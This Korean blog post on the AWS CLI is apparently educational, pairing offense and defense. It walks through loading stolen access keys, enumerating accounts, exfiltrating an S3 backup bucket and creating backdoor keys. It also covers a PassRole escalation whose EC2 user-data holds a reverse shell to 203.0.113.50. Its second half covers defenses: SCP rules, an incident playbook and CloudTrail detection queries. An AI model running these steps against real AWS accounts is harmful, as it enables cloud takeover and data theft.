
💡 AWS CLI (Command Line Interface) 심층 분석 및 실무 가이드
📌 핵심 요약 (TL;DR)
- 본질: AWS 클라우드 서비스의 제어 평면(Control Plane) API를 터미널에서 직접 호출하고 제어할 수 있도록 래핑(Wrapping)한 범용 커맨드라인 툴킷임.
- 위협 및 목적: 해커는 소스코드 결함으로 탈취한 자격 증명(Access Key)을 CLI에 주입하여, 클라우드 내부로 횡적 이동(Lateral Movement)하고 S3 버킷 데이터를 대량 유출함.
- 대응 방안: 장기 자격 증명 발급을 최소화하고 임시 STS 토큰을 강제하며, CloudTrail 관제와 SCP를 통해 비인가 외부 IP의 API 호출을 원천 차단해야 함.
📑 목차 (Table of Contents)
⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 소유 계정 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 클라우드 인프라에 탈취한 자격 증명을 대입하여 데이터를 유출하는 행위는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.📖 학습 목적: 퍼블릭 클라우드 API의 동작 원리를 이해하고 종심 방어 및 제로 트러스트 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 통제 환경에서만 진행함.
자주 등장하는 용어 (초보자 참고)
| 약어 | 전체 명칭 | 한 줄 설명 |
|---|---|---|
IAM |
Identity and Access Management | AWS의 리소스에 대한 접근 권한을 중앙 통제하는 사용자 및 권한 관리 시스템 |
STS |
Security Token Service | 영구적인 Access Key 대신, 짧은 수명(Session)을 가진 임시 보안 자격 증명을 발급하는 서비스 |
IMDS |
Instance Metadata Service | EC2 인스턴스 내부(169.254.169.254)에서 자신에게 부여된 IAM 역할 자격 증명 등을 조회하는 시스템 |
AK/SK |
Access Key / Secret Key | AWS API를 프로그래밍 방식(CLI 포함)으로 호출하기 위해 사용하는 식별자와 암호 키 쌍 |
SCP |
Service Control Policies | 다수 계정에 걸쳐 허용/차단할 최대 권한 경계를 강제하는 최상위 가드레일 정책 |
CT |
AWS CloudTrail | AWS 계정 내에서 발생하는 모든 API 호출(발신지, 시간, 파라미터)을 기록하는 감사 로그 서비스 |
1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지
- 난이도: 중급 ~ 고급
- 주제 분류: 클라우드 보안 / 오펜시브 툴 / 인프라 제어 유틸리티
- 핵심 키워드:
#AWSCLI#클라우드해킹#IAM탈취#CloudTrail - 사전 지식: RESTful API 메커니즘, IAM 정책(JSON) 구조, Boto3 동작 원리
(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장.)
| 구분 | OS / 플랫폼 (버전 필수) | 컨테이너 / 네트워크 환경 | IP 대역 | 인프라 내 역할 |
|---|---|---|---|---|
| 공격 (Red) | Kali Linux 2026.x | 외부 인터넷망 | 203.0.113.50 |
탈취한 권한을 주입 후, AWS 제어 평면에 API를 사출하는 공격 거점 |
| 타겟 (Target) | AWS Control Plane | 퍼블릭 클라우드 엔드포인트 | AWS Public IP |
해커의 조작된 SigV4 서명을 수용하여 S3 버킷 및 EC2 권한을 내어주는 인프라 |
| 방어 (Blue) | AWS CloudTrail | 클라우드 중앙 관제 환경 | N/A |
외부 IP의 비정상적인 열거 및 데이터 전송 API 호출 징후를 실시간 탐지 |
아키텍처 통신 흐름도
[공격자 터미널 (AWS CLI)] [인터넷 및 AWS API Gateway] [AWS 내부 서비스 (S3/EC2)]
| | |
|-- (1) 자격 증명 주입 (aws configure) ---------->| (내부 로컬 ~/.aws/credentials 설정) |
|-- (2) API 호출 사출 (aws s3 sync) ------------>| (SigV4 서명 검증 및 IAM 정책 평가 통과) ------>|
| | |
|<- (4) 결과 렌더링: 버킷 내부 기밀 파일 덤프 ---|<- (3) 권한 승인: 200 OK (데이터 반환) ---------|
2. 🧠 핵심 개념 및 기술적 정의
2-1. 상세 정의 및 동작 메커니즘
- 정의: AWS 서비스와 상호작용하기 위해 제공되는 통합 명령줄 도구로, 내부적으로는 Python 기반의 Boto3 SDK를 감싸고(Wrapping) 있는 거대한 API 클라이언트임.
- 탄생 배경: 복잡한 웹 콘솔 접속 없이, 인프라 프로비저닝과 데이터 관리를 스크립트로 자동화하기 위해 공식 배포됨.
- 인프라 내 역할: (공격) 유출된 인증 정보를 활용하여 클라우드 자원을 열거하고, 백도어 계정을 생성하는 스위스 아미 나이프임. (방어) 인프라를 코드로 관리(IaC)하고, 침해사고 시 터미널에서 신속하게 액세스 키를 비활성화하는 구난 도구임.
- 메커니즘: 로컬에 저장된 자격 증명을 통해 AWS Signature Version 4 (SigV4)로 페이로드를 암호학적으로 서명(Signing)한 뒤,
*.amazonaws.com엔드포인트로 전송함. - 버전 히스토리: 의존성이 내장되어 설치가 간편하고 SSO(Single Sign-On)를 지원하는 AWS CLI v2가 현재 클라우드 표준으로 자리 잡음.
2-2. MITRE ATT&CK & Kill Chain 매핑
| Kill Chain Phase | MITRE Tactic (전술) | Technique (기법) | ID |
|---|---|---|---|
| Initial Access | Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
| Reconnaissance | Discovery | Cloud Infrastructure Discovery | T1580 |
| Privilege Escalation | Privilege Escalation | Valid Accounts: Cloud Accounts (PassRole) | T1078.004 |
| Defense Evasion | Defense Evasion | Impair Defenses: Disable Cloud Logs | T1562.008 |
| Actions on Objectives | Exfiltration | Transfer Data to Cloud Account (S3 Sync) | T1537 |
3. ⚙️ 주요 특징 및 통신 규격
3-1. 기술적 핵심 특징
특징 1 — 포괄적인 API 커버리지: S3, EC2, IAM뿐만 아니라 AWS의 200여 개 모든 서비스 API를 단일 바이너리로 통제함.특징 2 — Profile 기반 다중 계정 제어: 탈취한 수십 개의 키를[profile]형태로 저장하고--profile플래그로 런타임에 즉각 스위칭함.특징 3 — 내장형 JSON 파서 (JMESPath): 방대한 JSON 응답 중 필요한 침해 지표(IoC)만 축출하는--query필터링 엔진을 내장함.특징 4 — STS 토큰 스위칭 (AssumeRole): 더 높은 권한을 가진 IAM 역할로 신분을 세탁(권한 상승)하는 로직을 기본 지원함.특징 5 — 고속 데이터 전송:aws s3 sync명령은 대용량 파일을 청크(Chunk) 단위로 병렬 다운로드하여 유출 속도를 극대화함.
3-2. 실무 관점 장단점 (Pros & Cons)
| 구분 | 시스템 관점 특성 | 보안 및 실무 관점의 트레이드오프 |
|---|---|---|
| 장점 1 | 압도적인 호환성 | AWS가 직접 유지보수하므로 신규 서비스 API가 0-day 수준으로 즉각 지원됨 |
| 장점 2 | 스크립트 연계성 | 파이프라인과 결합하여 전수 리소스 스캐닝 및 브루트포스 봇넷 구성에 최적화됨 |
| 장점 3 | 로컬 환경 무의존성 | 타겟 클라우드 내부에 침투하지 않고 외부 인터넷망에서 인프라를 유린함 |
| 단점 1 | 명확한 감사 로그 | API 호출 내역과 발신지 IP가 CloudTrail에 영구 기록되어 포렌식 추적이 용이함 |
| 단점 2 | 자격 증명 의존 | 최소한의 유효한 AK/SK나 세션 토큰을 확보하지 못하면 공격이 불가능함 |
| 단점 3 | Rate Limiting 한계 | 무차별적인 API 열거 시 클라우드 방어 기작(Throttling)에 의해 차단됨 |
3-3. 서비스 포트 및 통신 규격 (IANA Protocol Specification)
| 포트 | 프로토콜 | 서비스명 | IANA 공식 역할 | 보안 위협 및 공격 벡터 |
|---|---|---|---|---|
443 |
TCP | HTTPS | 클라우드 API 터널 | 제어 평면으로 향하는 모든 SigV4 서명 기반의 API 쿼리 전송 |
80/443 |
TCP | S3 Endpoint | 객체 스토리지 | 버킷 내 민감 데이터 대량 유출(Sync/Cp) 채널 |
N/A |
L7 | STS/IAM API | 인증 및 인가 제어 | 백도어 계정 생성 및 AssumeRole을 통한 권한 상승 타격 |
4. 🛠️ 인프라 셋업 및 구축 명세
4-1. 사전 요구 사항 (Dependencies)
- 패키지: AWS CLI v2 바이너리.
- 인증 정보: 타겟 계정의
AWS_ACCESS_KEY_ID및AWS_SECRET_ACCESS_KEY. (임시 토큰인 경우AWS_SESSION_TOKEN필요).
4-2. 시스템 구축 (Step-by-Step)
# [Step 1: 패키지 설치 (Kali Linux 기준)]
curl "[https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip](https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip)" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install
# [Step 2: 바이너리 동작 무결성 검증]
aws --version
# [Step 3: 탈취한 자격 증명 환경 세팅 및 헬스체크]
aws configure set aws_access_key_id AKIA...
aws configure set aws_secret_access_key Secret...
aws configure set region ap-northeast-2
# (인증 성공 여부 및 권한 식별자 확인)
aws sts get-caller-identity
5. 📖 상세 명세 (명령어 / API / 프로토콜)
5-1. 기본 구문 및 명령어 구조 (Syntax)
📌 Syntax 표기법: <필수항목> = 반드시 입력 (Required) · [선택항목] = 생략 가능 (Optional)
# CLI 툴킷 명령어 구조
<바이너리명> <서비스명> <동작_명령> [옵션_플래그] [서브_파라미터]
파라미터별 상세 설명
| 파라미터 | 필수 여부 | 타입 | 역할 및 설명 | 실전 값 예시 |
|---|---|---|---|---|
<바이너리명> |
필수 | 실행 파일 | AWS CLI 메인 엔진 호출 명령어. | aws |
<서비스명> |
필수 | 문자열 | 제어할 대상 클라우드 서비스 카테고리. | s3, iam |
<동작_명령> |
필수 | 문자열 | 대상 서비스 내에서 수행할 API 액션 이름. | ls, sync |
[옵션_플래그] |
선택 | 스위치 | 인증, 출력 제어, 리전 지정 글로벌 플래그. | --region |
[서브_파라미터] |
선택 | 값 | 특정 플래그나 대상 버킷 등 종단점 인자. | s3://bucket |
실전 명령어 예시 — 구성 요소 대조
| 전체 명령어 | 바이너리 | 옵션 플래그 | 서브 파라미터 | 타겟 |
|---|---|---|---|---|
aws s3 ls s3://data --region us-east-1 |
aws |
--region |
us-east-1 |
s3 ls s3://data |
aws ec2 describe-instances --profile dev |
aws |
--profile |
dev |
ec2 describe... |
5-2. 실행 옵션 및 제어 플래그 전체 목록 (Execution Flags)
🔗 연결 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
--region |
API 요청을 라우팅할 리전을 오버라이드함 | --region us-east-1 |
타겟의 글로벌 인프라 리전을 순회하며 섀도우 IT 탐색 |
--endpoint-url |
기본 API 서버 대신 사용자 지정 호스트로 요청을 전달함 | --endpoint-url http:// |
사설 S3 호환 스토리지(MinIO 등) 타격 시 |
🔐 인증 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
--profile |
저장된 다수의 인증 키 셋 중 하나를 선택하여 서명함 | --profile hacker |
여러 자격 증명을 런타임에 동적 스위칭 |
--no-sign-request |
인증 정보(SigV4) 없이 익명(Anonymous) 자격으로 호출함 | --no-sign-request |
퍼블릭 버킷의 데이터 무단 열람 및 스니핑 |
📄 출력 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
--output |
반환되는 데이터의 포맷을 지정함 (json, text) | --output text |
쉘 스크립팅을 위해 순수 데이터만 렌더링 |
--query |
JMESPath 문법을 사용하여 JSON 응답 중 특정 노드만 필터링 | --query 'Reservations' |
전체 리스트 중 취약한 인스턴스의 IP만 즉시 축출 |
⏱ 타이밍 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
--page-size |
한 번의 호출로 가져올 최대 항목 수를 강제 축소함 | --page-size 10 |
거대한 버킷 열거 시 타임아웃 붕괴 방지 |
--cli-read-timeout |
소켓 읽기 응답을 기다리는 최대 대기 시간 설정 | --cli-read-timeout 60 |
대용량 메타데이터 파싱 중 클라이언트 멈춤 방지 |
자주 쓰는 옵션 조합
| 목적 | 조합 예시 |
|---|---|
| 리전별 EC2 IP 목록 정제 추출 | aws ec2 describe-instances --region us-east-1 --query "..." --output text |
| 타겟 퍼블릭 S3 익명 데이터 덤프 | aws s3 sync s3://target ./dump --no-sign-request |
5-3. 비대화형 명령어 (Non-Interactive Commands)
🔍 정찰 및 열거
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
sts get-caller-identity |
현재 삽입된 자격 증명의 고유 식별자(Account ID, ARN)를 반환함 | aws sts get-caller-identity |
iam list-users |
타겟 계정에 존재하는 모든 IAM 사용자 목록을 나열함 | aws iam list-users |
💥 익스플로잇 및 페이로드 전달
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
s3 sync |
타겟 버킷의 객체를 해커의 디스크로 멀티파트 병렬 다운로드함 | aws s3 sync s3://corp-db ./exfil |
ec2 run-instances |
악성 스크립트(User-Data)를 품은 인스턴스를 강제 스폰함 | aws ec2 run-instances --image-id ami-123... |
🎯 포스트 익스플로잇 및 유틸리티
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
iam create-access-key |
세션 유실 방지를 위해, 장기 보존용 백도어 액세스 키를 신규 발급 | aws iam create-access-key --user-name admin |
5-4. 대화형 내부 명령어 (Interactive Features)
🗂 탐색 및 제어
| 내부 명령 | 기술적 동작 및 설명 | 실전 타이핑 예시 | 적용 시나리오 |
|---|---|---|---|
--cli-auto-prompt |
명령어나 플래그를 메뉴로 탐색하는 대화형 마법사 호출 | aws ec2 --cli-auto-prompt |
복잡한 파라미터 구조의 동적 생성이 필요할 때 |
aws configure |
로컬 인터랙티브 프롬프트를 통해 AK/SK, 리전을 입력받아 저장 | aws configure |
최초 자격 증명 주입 시퀀스 구동 시 |
export AWS_... |
환경 변수를 통해 현재 세션에 IAM 인증 상태를 강제 인포싱 | export AWS_PROFILE=dev |
스크립트 실행 시 매번 플래그를 주입하는 번거로움 제거 |
6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)
실전 모의해킹 시 타겟 클라우드 인프라를 열거하고 권한을 횡적 이동하는 조합 페이로드임.
| 페이로드 (CLI Command Combinations) | 파싱 메커니즘 및 런타임 결과 | 목적 / 우회 기법 |
|---|---|---|
aws s3api list-buckets --query "Buckets[].Name" --output text |
계정 내 생성된 전체 S3 버킷 이름만 텍스트로 축출 | 클라우드 스토리지 자산 식별 및 타격 목표 선정 |
aws iam list-attached-user-policies --user-name victim |
계정에 매핑된 관리형 권한 정책 목록을 파싱 | 해커가 보유한 계정의 권한 범위 식별 |
aws ec2 describe-security-groups --query "SecurityGroups[*].{Name:GroupName}" |
방화벽 룰셋을 필터링하여 인바운드 정책 축출 | 외부 타격이 가능한 취약 워크로드 헌팅 |
7. 🎯 심층 킬체인 워크플로우 (Deep Dive)
7-1. 취약점 식별 (CVE / CWE)
AWS CLI 자체의 결함이 아닌, 권한 통제 부재로 인해 API 제어권이 넘어가는 설계 결함(CWE)임.
| 식별 코드 | 취약점 명칭 및 익스플로잇 연계 원리 | 파급력 (Impact) | 대응/패치 방안 |
|---|---|---|---|
CWE-798 |
Use of Hard-coded Credentials — 소스코드에 AKIA... 액세스 키가 하드코딩되어 유출됨 |
외부 해커가 CLI에 주입하여 클라우드 어드민 권한 완전 장악 | IAM Role(STS) 전면 도입 및 코드 스캐너(Macie) 적용 |
CWE-918 |
Server-Side Request Forgery (SSRF) — EC2 웹 서버를 통해 IMDS(169.254.169.254)로 쿼리 조작 |
인스턴스에 부여된 임시 보안 토큰(STS) 탈취 및 횡적 이동 | 메타데이터 서비스 버전을 IMDSv2로 전면 강제 업그레이드 |
7-2. 킬체인 전개 스텝 분석
- 난이도: 초급
- 전제: 타겟망 개발자가 퍼블릭 GitHub에
credentials파일을 커밋하여 노출됨. - 탐지 가능성:
Medium(CloudTrail에 남으나 정상 개발자 호출과 섞여 구분이 어려움)
Phase 1 — 자격 증명 획득 및 인프라 로그인 (Weaponization)
# 탈취한 하드코딩 AK/SK를 CLI에 주입
aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE
aws configure set aws_secret_access_key wJalrX...
aws configure set region us-east-1
Phase 2 — 권한 검증 및 자산 열거 (Reconnaissance)
# 확보한 계정 신원 파악 및 S3 버킷 목록 전수 열거
aws sts get-caller-identity
aws s3 ls
Phase 3 — 목표 달성 및 데이터 유출 (Actions on Objectives)
# [결과: 발견된 DB 백업 버킷을 로컬로 무단 다운로드]
aws s3 sync s3://prod-customer-db-backup ./stolen_data
8. ⚔️ 실전 심화 시나리오
📘 Scenario: IAM PassRole을 악용한 권한 상승(Privilege Escalation) 킬체인
- 학습 목표: 탈취한 계정이 직접적인 관리자 권한은 없으나, EC2를 생성(
ec2:RunInstances)하고 특정 역할을 넘겨줄 수 있는(iam:PassRole) 권한을 악용하여 최고 권한을 탈취함.
# [Step 1: 권한 식별 및 취약점 맵핑]
# 해커는 자신이 가진 권한 목록을 조회하여, 'ec2:RunInstances'와 'iam:PassRole' 허용됨을 확인.
# [Step 2: 악성 User-Data 스크립트 크래프팅]
# EC2 기동 시 실행될 리버스 쉘 스크립트 작성.
echo '#!/bin/bash
bash -i >& /dev/tcp/203.0.113.50/4444 0>&1' > payload.sh
# [Step 3: 권한 상승용 EC2 인스턴스 사출]
# 타겟 계정에 AdminRole 역할을 씌운(PassRole) EC2 인스턴스를 신규 생성함.
aws ec2 run-instances --image-id ami-12345 --iam-instance-profile Name="AdminRole" --user-data file://payload.sh
# [결과 검증]
# 부팅된 EC2가 해커에게 쉘을 쏘아주며, 해커는 'AdminRole' 권한으로 클라우드를 장악함.
9. 🩹 트러블슈팅 및 장애 대응 (RCA)
| 에러 로그 (Symptom) | 발생 원인 (Root Cause) | 해결책 (Resolution) |
|---|---|---|
InvalidClientTokenId: The security token... is invalid |
주입한 Access Key의 오타 혹은 대상 계정에서 해당 키가 이미 삭제됨 | 보안 모니터링에 의해 키가 파기되었으므로 공격 중단 |
SignatureDoesNotMatch: The request signature... |
Secret Key 값이 틀렸거나, 시스템 시계 불일치로 인해 SigV4 서명 검증 실패 | ntpdate 명령으로 OS 시간 동기화 및 Secret 문자열 검증 |
AccessDenied: User is not authorized... |
자격 증명은 정상이나, IAM 정책 또는 SCP에서 해당 API 액션을 명시적 거부함 | 허용된 다른 취약점(예: 람다 함수 실행)으로 횡적 이동 경로 선회 |
10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링
10-1. MITRE D3FEND 매핑
| 방어 전술 (Tactic) | 방어 기법 (Technique) | 차단 원리 및 메커니즘 | ID (Code) |
|---|---|---|---|
Harden |
Credential Rotation | IAM Access Key 최대 수명을 90일로 제한하고, 주기적인 자동 로테이션 강제 | D3-CR |
Isolate |
Network Traffic Filtering | IAM 정책의 aws:SourceIp 조건 키를 활용해 내부망(VPN) 외의 CLI 접근 차단 |
D3-NTF |
Detect |
API Traffic Analysis | CloudTrail을 통해 비정상적인 IP, 시간대, User-Agent의 API 폭주 헌팅 | D3-ATA |
Deceive |
Decoy Credential | GitHub에 가짜 IAM 액세스 키(Honeytoken)를 두고, 사용 시도 즉시 알람 발생 | D3-DC |
10-2. 인프라 하드닝 및 방어 기준
- 제로 트러스트(Zero Trust) IAM 아키텍처:
- 관리자에게 부여되는 장기 Access Key(
AKIA...) 발급을 전면 중단(Default Deny)하고, 최대 12시간만 유지되는 STS 임시 토큰(ASIA...)을 강제해야 함. - EC2 내부 권한 탈취(SSRF) 방어를 위해 인스턴스 메타데이터 서비스 버전을 IMDSv2로 강제 업그레이드함.
- 관리자에게 부여되는 장기 Access Key(
10-3. IaC 기반 자동화 보안 설정 (AWS SCP 방어 룰셋)
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyOutsideCLIAndAPIRequests",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"NotIpAddress": {
"aws:SourceIp": [
"203.0.113.0/24"
]
},
"Bool": {
"aws:ViaAWSService": "false"
}
}
}
]
}
10-4. 인시던트 대응 절차 (IR Playbook)
| 단계 | 대응 행동 | 담당 | 소요 시간 |
|---|---|---|---|
| 1. 탐지 | GuardDuty에서 비정상 리전 발 API 호출(Discovery) 경보 발생 인지 | SOC Analyst | T+0 |
| 2. 격리 | 해당 Access Key의 상태를 Management Console에서 즉각 비활성화 처리 | IR Team | T+5분 |
| 3. 증거수집 | CloudTrail 이벤트를 덤프하여 해당 탈취 키로 실행된 모든 API 내역 포렌식 | Forensic Analyst | T+30분 |
| 4. 원인분석 | 자격 증명이 유출된 경로(GitHub 커밋, SSRF 취약점) 역추적 및 블로킹 | IR Team / Dev | T+2시간 |
| 5. 쇄신 | 유출 키 영구 삭제 및 IAM 권한 구조를 최소 권한 원칙으로 축소 배포 | Cloud Admin | T+4시간 |
10-5. 위협 헌팅 탐지 룰셋 (SIEM / CloudTrail)
# [SIEM 룰] 해커가 최초 침투 후 자신의 신원을 확인하는 정찰 API 헌팅
EventSource: sts.amazonaws.com AND EventName: GetCallerIdentity AND UserAgent: *aws-cli*
# [SIEM 룰] 탈취당한 일반 권한으로 IAM 백도어 생성을 시도하는 징후 헌팅
EventSource: iam.amazonaws.com AND EventName: CreateAccessKey AND ErrorCode: AccessDenied
11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)
- AWS CLI 공식 커맨드 매뉴얼:
https://docs.aws.amazon.com/cli/latest/index.html - NVD (National Vulnerability Database):
https://nvd.nist.gov/ - MITRE ATT&CK 클라우드 분석:
https://attack.mitre.org/techniques/T1078/004/ - OWASP 클라우드 보안 가이드:
https://owasp.org/ - CWE 공식 데이터베이스 (CWE-798):
https://cwe.mitre.org/data/definitions/798.html - CWE 공식 데이터베이스 (CWE-918):
https://cwe.mitre.org/data/definitions/918.html - Exploit-DB:
https://www.exploit-db.com/ - KISA 보안 취약점 가이드:
https://www.kisa.or.kr/
12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)
🎓 이 포스팅에서 배운 것
- 공격 관점: 소스코드 유출이나 SSRF로 탈취한 Access Key를 주입하여 클라우드 제어 평면을 장악하는 원리를 파악함.
- 방어 관점: 정적 키 발급을 금지하는 STS 구조화, CloudTrail API 추적 기법, SCP를 활용한 IP 가드레일 방어론을 익힘.
- 다음 단계: 통제된 샌드박스 계정에서 과도한 권한이 부여된 IAM을 생성 후, CLI를 통한 S3 덤프 실습을 권장함.
🔰 엔지니어링 방어 철학
(✏️ Architected by Elpam.k)
"클라우드 보안의 붕괴는 인프라 장비의 결함이 아니라, 개발자가 귀찮다는 이유로 코드에 박아넣은 단 한 줄의 AKIA... 텍스트에서 시작됨." AWS CLI는 해커에게 데이터 센터 전체를 조작할 수 있는 원격 조종기를 쥐어주는 것과 같음. 보안 엔지니어는 '모든 자격 증명은 결국 유출된다'는 가정을 전제로 방어선을 구축해야 함. 영구적인 권한(Access Key)을 부여하는 악습을 철폐하고, 단기 소멸하는 임시 토큰(STS)만을 제공하는 제로 트러스트(Zero Trust) IAM 아키텍처를 영구적으로 인포싱해야 함.
'보안 기술 > 해킹 툴' 카테고리의 다른 글
| John the Ripper (0) | 2026.04.08 |
|---|---|
| Responder (0) | 2026.04.08 |
| Impacket(psexec.py) (0) | 2026.04.08 |
| Netcat(nc) (0) | 2026.04.08 |
| cURL (0) | 2026.04.08 |
Discussion 0